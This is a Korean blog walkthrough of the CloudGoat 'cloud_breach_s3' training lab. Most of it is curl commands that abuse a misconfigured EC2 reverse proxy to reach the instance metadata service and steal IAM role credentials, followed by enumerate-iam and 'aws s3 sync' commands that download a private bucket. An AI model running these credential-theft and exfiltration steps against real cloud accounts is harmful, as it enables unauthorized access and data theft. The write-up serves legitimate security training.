[Cloudgoat] Cloud Breach S3

시나리오

환경

• OS: Kali Linux 2022.2
• IP: 192.168.211.128

취약점

• 개발자의 실수로 인한 Reverse Proxy 환경구성 미흡
• 설정 값이 잘못되어 Reverse Proxy로 동작하는 EC2 서버의 IP 주소

 

exploit 흐름도

1. 공격자가 EC2 인스턴스의 IP를 발견했다는 가정 하에 흐름이 진행된다. (VPC- EC2, S3를 사용해서 실습)
2. 다양한 방법을 통해 분석을 진행하며 해당 EC2 인스턴스가 Reverse Proxy 서버 역할을 수행함을 알게 됨
3. EC2 서버를 Reverse Proxy로 구성하는 경우는 온프레미스 환경 → 클라우드 환경으로 전환하는 과정에서 자주 있는 상황
4. 2번의 결과를 알게 된 공격자는 curl 명령을 통해 웹 서버에 요청을 보냄. 이때 호스트 헤더를 EC2 metadata service의 ip주소로 설정해야 함.
5. 공격자가 조작한 요청 패킷이 성공적으로 수행되면, EC2 인스턴스에 연결된 사용자(IAM 인스턴스)의 access key, secret key, session token 등을 얻을 수 있음 → IAM credential 획득
6. 공격자는 IAM credential의 권한을 사용해 클라우드 환경을 탐색할 수 있게 됨
7. 공격자는 Private S3 Bucket을 list화 해서 식별하고 접근하는 등 다양한 비인가 행위를 할 수 있게 됨
8. Private S3 Bucket 내에는 민감한 정보가 포함되어 있었고, 공격자는 해당 데이터를 로컬로 다운로드 받아 배포하게 되면서 공격 완료 (시나리오 끝~)

 

실습 환경 구축

./cloudgoat.py create cloud_breach_s3

Cloudgoat.py가 깔려있는 디렉터리 내에서 위 명령을 입력하면, 위 캡처본과 같이 실습 환경 구축이 완료된다. 위 캡처본에 따르면 ec2 인스턴스의 ip는 3.222.116.199이다.

즉, 공격자가 발견한 ec2 인스턴스의 ip는 3.222.116.199라는 가정 하에 실습을 진행한다.

 

 

EC2 인스턴스의 IP 활용 분석을 통해, 사용자 Credential 추출 실습

curl -s <http://3.222.116.199/latest/meta-data/> -H 'Host:169.254.169.254'

Reverse Proxy Server를 Exploit하여 EC2 Instance Metadata server(IMDS)에 연결을 할 수 있는지 확인해보자. 위 명령을 사용해서 결과 값을 확인한다. 3.222.116.199의 메타데이터 웹페이지를 가져올 때 헤더를 169.254.169.254 서버로 보낸다는 의미

 

위 명령이 성공적으로 실행되면, 다음과 같은 결과가 나온다. AWS EC2 IMDS에 있는 가장 중요한 정보는 /iam 내에 있을 것이다.

 

AWS document를 살펴보면 IMDS 형태로 특정 경로를 통해 다양한 정보를 확인할 수 있다. 특히 이때 EC2 Innstance에서 IMDS를 통해 IAM Credential을 추출할 수 있는데, /iam/security-credentials/에 접근해 role-name을 알 수 있다.

 

curl -s <http://3.222.116.199/latest/meta-data/iam/security-credentials/> -H 'Host:169.254.169.254'

위 명령을 사용해 /iam/security-credentials에 저장되어 있는 role-name을 확인한다.

 

curl -s <http://3.222.116.199/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidchqtuke0q9> \\
-H 'Host:169.254.169.254'

위 명령을 사용해, 알게 된 rule-name 안에 들어가서 rule-name에 대한 접근 방법, 역할 등을 확인할 수 있다.

 

명령의 결과를 보면, Access Key와 Secret Key, Token 등의 중요 내용을 확인할 수 있다.

 

이제 탈취한 IAM Rule Credential을 사용해 다른 IAM Credential 처럼 사용을 할 수 있다. 계정탈취 완료!

최상위 루트로 들어가서 vi .aws/credentials 파일을 수정해준다. (.aws의 경우 안보이기 때문에 ls -al로 확인)

 

GitHub - andresriancho/enumerate-iam: Enumerate the permissions associated with AWS credential set

GitHub - andresriancho/enumerate-iam: Enumerate the permissions associated with AWS credential set

iam Rule Enumerate를 사용하는데 있어서 enumerate-iam 오픈 소스 도구를 활용하여 정보를 확인

AWS 자격 증명 집합을 찾았는데 어떤 권한이 있는지 모르겠을 때 사용하는 툴이다.

 

./enumerate-iam.py --access-key [ACCESS KEY] --secret-key [SECRET KEY] --session-token [SESSION TOKEN]

위 양식대로 명령어 작성

 

결과를 확인해보면 해당 계정은 S3 Bucket에 대한 권한이 있음을 알 수 있다.

이제 AWS CLI를 사용해 Bucket을 enum 하고 S3Bucket에 저장된 데이터를 다운로드 해보자!

 

계정이 나온다.

 

aws s3 ls --profile cloud_breach

위 명령을 사용해 s3 bucket 내에 존재하는 데이터를 나열하여 추출할 데이터의 이름을 수집한다.

 

aws s3 sync s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidukel6ygtfy . --profile cloud_breach

S3 bucket 내의 데이터를 로컬로 다운로드 받을 수 있도록 sync를 진행하여 목표인 파일을 추출한다.

 

그러면 디렉터리에 goat.png 파일이 하나 생긴 것을 볼 수 있다.

 

ㅎㅎ 귀엽누